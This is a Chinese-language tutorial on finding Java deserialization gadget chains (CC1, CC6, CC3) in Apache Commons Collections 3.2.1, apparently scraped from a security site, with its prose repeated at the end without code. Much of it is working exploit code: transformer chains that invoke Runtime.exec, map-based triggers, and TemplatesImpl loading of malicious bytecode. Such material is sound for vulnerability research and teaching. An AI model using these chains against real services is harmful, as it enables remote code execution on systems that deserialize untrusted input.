学习Commons Collections 的挖掘思路
字数 1700 2025-08-24 16:48:06

Apache Commons Collections反序列化漏洞挖掘与分析

前言

Apache Commons Collections是一个对Java标准集合框架的扩展,由Apache维护。本文重点分析3.0版本中的反序列化漏洞,不同于常规的漏洞利用分析,我们将深入探讨漏洞发现者的挖掘思路,帮助读者理解如何发现这类漏洞。

环境准备

  • Java版本:1.8u65
  • Commons-Collections版本:3.2.1
  • Maven依赖:
<dependency>
    <groupId>commons-collections</groupId>
    <artifactId>commons-collections</artifactId>
    <version>3.2.1</version>
</dependency>

基本思路

反序列化漏洞通常始于readObject()方法,该方法定义在ObjectInputStream类中。关键思路是:

  1. 寻找可被重写的readObject方法
  2. 通过一系列不同类但同名方法的链式调用(方法链)
  3. 最终执行任意代码

常见的同名方法寻找策略:

  • Object类的方法(可能被重写)
  • 实现某接口的类的方法
  • 通用方法如get、set等

Transformer接口分析

Transformer接口是Commons Collections中广泛使用的接口,定义如下:

public interface Transformer {
    Object transform(Object input);
}

关键实现类

  1. InvokerTransformer类

    • 功能:进行任意方法调用
    • 关键代码:
    public Object transform(Object input) {
        if (input == null) {
            return null;
        }
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }
    
  2. ChainedTransformer类

    • 功能:链式调用多个Transformer
    • 关键代码:
    public Object transform(Object object) {
        for (int i = 0; i < iTransformers.length; i++) {
            object = iTransformers[i].transform(object);
        }
        return object;
    }
    
  3. ConstantTransformer类

    • 功能:始终返回固定值
    • 关键代码:
    public Object transform(Object input) {
        return iConstant;
    }
    

CC1链分析

第一部分:触发transform方法

  1. 构造Runtime执行命令:
Runtime runtime = Runtime.getRuntime();
runtime.exec("calc");
  1. 使用InvokerTransformer封装:
InvokerTransformer exec1 = new InvokerTransformer("exec", 
    new Class[]{String.class}, new Object[]{"calc"});
exec1.transform(runtime);
  1. 寻找触发transform方法的地方:

    • 分析TransformedMap类的checkSetValue方法
    • 最终通过setValue方法触发
  2. 构造TransformedMap:

HashMap<Object, Object> hashMap = new HashMap<>();
hashMap.put("value", "value");
Map<Object, Object> map = TransformedMap.decorate(hashMap, null, exec1);

// 测试触发
for (Map.Entry entry : map.entrySet()) {
    entry.setValue(runtime);
}

第二部分:触发setValue方法

  1. 寻找在readObject中触发setValue的方法:

    • 发现AnnotationInvocationHandler类的readObject方法
  2. 构造AnnotationInvocationHandler:

Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor AIHcon = c.getDeclaredConstructor(Class.class, Map.class);
AIHcon.setAccessible(true);
Object O = AIHcon.newInstance(Target.class, map);

第三部分:修复问题

  1. Runtime类不可序列化问题:
    • 改用反射调用Runtime

Class runtimeClass = Runtime.class;
Method runtimeMethod = runtimeClass.getMethod("getRuntime", null);
Runtime runtime = (Runtime) runtimeMethod.invoke(null, null);
Method exec1 = runtimeClass.getMethod("exec", String.class);


2. 使用ChainedTransformer简化:
```java
Transformer[] TrransFormers = {
  new ConstantTransformer(Runtime.class),
  new InvokerTransformer("getMethod", 
      new Class[]{String.class, Class[].class}, 
      new Object[]{"getRuntime", null}),
  new InvokerTransformer("invoke", 
      new Class[]{Object.class, Object[].class}, 
      new Object[]{null, null}),
  new InvokerTransformer("exec", 
      new Class[]{String.class}, 
      new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(TrransFormers);

CC6链分析

背景

在Java 8u71后,AnnotationInvocationHandler的readObject方法被修改,导致CC1链失效。

新思路

  1. 寻找在hashCode方法中调用get方法的类
  2. 发现TiedMapEntry类的getValue方法调用了map的get方法

构造过程

  1. 构造LazyMap:
HashMap<Objects, Objects> hashLazyMap = new HashMap<>();
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap, new ConstantTransformer(1));
  1. 构造TiedMapEntry:
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, "111");
  1. 使用HashMap触发hashCode:
HashMap<TiedMapEntry, String> hashMap = new HashMap<>();
hashMap.put(tiedMapEntry, "222");
  1. 修复问题:
// 防止序列化时触发
LazyMap lazyMap = (LazyMap) LazyMap.decorate(hashLazyMap, new ConstantTransformer(1));

// put后修复链
Class LazyMapClass = LazyMap.class;
Field factoryfield = LazyMapClass.getDeclaredField("factory");
factoryfield.setAccessible(true);
factoryfield.set(lazyMap, chainedTransformer);

// 删除误生成的数据
lazyMap.remove("111");

CC3链分析

新思路:动态类加载

当Runtime类被禁用时,可以使用类加载机制执行任意代码。

关键类:TemplatesImpl

  1. 分析TemplatesImpl的defineClass调用路径:

    • defineTransletClasses() → getTransletInstance() → newTransformer()
  2. 构造恶意类:

TemplatesImpl templates = new TemplatesImpl();
Class c = templates.getClass();

// 设置必要字段
Field nameField = c.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates, "111");

Field bytecodesField = c.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates, new byte[][]{Files.readAllBytes(Paths.get("D:\\Exec.class"))});

// 修复调试问题
Field tfactoryField = c.getDeclaredField("_tfactory");
tfactoryField.setAccessible(true);
tfactoryField.set(templates, new TransformerFactoryImpl());
  1. 结合CC6前半部分:
Transformer[] transformer = {
    new ConstantTransformer(templates),
    new InvokerTransformer("newTransformer", null, null),
};
ChainedTransformer chainedTransformer = new ChainedTransformer(transformer);

总结

通过对CC1、CC6和CC3链的分析,我们可以得出以下反序列化漏洞挖掘的关键点:

  1. 寻找同名不同类方法的调用链
  2. 关注通用接口的实现类(如Transformer)
  3. 分析关键类的readObject方法
  4. 考虑不同执行方式(直接命令执行、类加载等)
  5. 注意Java版本差异和修复方案

这三种链可以组合出多种利用方式,理解其核心思路比记忆具体payload更为重要。

Apache Commons Collections反序列化漏洞挖掘与分析 前言 Apache Commons Collections是一个对Java标准集合框架的扩展,由Apache维护。本文重点分析3.0版本中的反序列化漏洞,不同于常规的漏洞利用分析,我们将深入探讨漏洞发现者的挖掘思路,帮助读者理解如何发现这类漏洞。 环境准备 Java版本:1.8u65 Commons-Collections版本:3.2.1 Maven依赖: 基本思路 反序列化漏洞通常始于 readObject() 方法,该方法定义在 ObjectInputStream 类中。关键思路是: 寻找可被重写的 readObject 方法 通过一系列不同类但同名方法的链式调用(方法链) 最终执行任意代码 常见的同名方法寻找策略: Object类的方法(可能被重写) 实现某接口的类的方法 通用方法如get、set等 Transformer接口分析 Transformer 接口是Commons Collections中广泛使用的接口,定义如下: 关键实现类 InvokerTransformer类 功能:进行任意方法调用 关键代码: ChainedTransformer类 功能:链式调用多个Transformer 关键代码: ConstantTransformer类 功能:始终返回固定值 关键代码: CC1链分析 第一部分:触发transform方法 构造Runtime执行命令: 使用InvokerTransformer封装: 寻找触发transform方法的地方: 分析TransformedMap类的checkSetValue方法 最终通过setValue方法触发 构造TransformedMap: 第二部分:触发setValue方法 寻找在readObject中触发setValue的方法: 发现AnnotationInvocationHandler类的readObject方法 构造AnnotationInvocationHandler: 第三部分:修复问题 Runtime类不可序列化问题: 改用反射调用Runtime Class runtimeClass = Runtime.class; Method runtimeMethod = runtimeClass.getMethod("getRuntime", null); Runtime runtime = (Runtime) runtimeMethod.invoke(null, null); Method exec1 = runtimeClass.getMethod("exec", String.class); CC6链分析 背景 在Java 8u71后,AnnotationInvocationHandler的readObject方法被修改,导致CC1链失效。 新思路 寻找在hashCode方法中调用get方法的类 发现TiedMapEntry类的getValue方法调用了map的get方法 构造过程 构造LazyMap: 构造TiedMapEntry: 使用HashMap触发hashCode: 修复问题: CC3链分析 新思路:动态类加载 当Runtime类被禁用时,可以使用类加载机制执行任意代码。 关键类:TemplatesImpl 分析TemplatesImpl的defineClass调用路径: defineTransletClasses() → getTransletInstance() → newTransformer() 构造恶意类: 结合CC6前半部分: 总结 通过对CC1、CC6和CC3链的分析,我们可以得出以下反序列化漏洞挖掘的关键点: 寻找同名不同类方法的调用链 关注通用接口的实现类(如Transformer) 分析关键类的readObject方法 考虑不同执行方式(直接命令执行、类加载等) 注意Java版本差异和修复方案 这三种链可以组合出多种利用方式,理解其核心思路比记忆具体payload更为重要。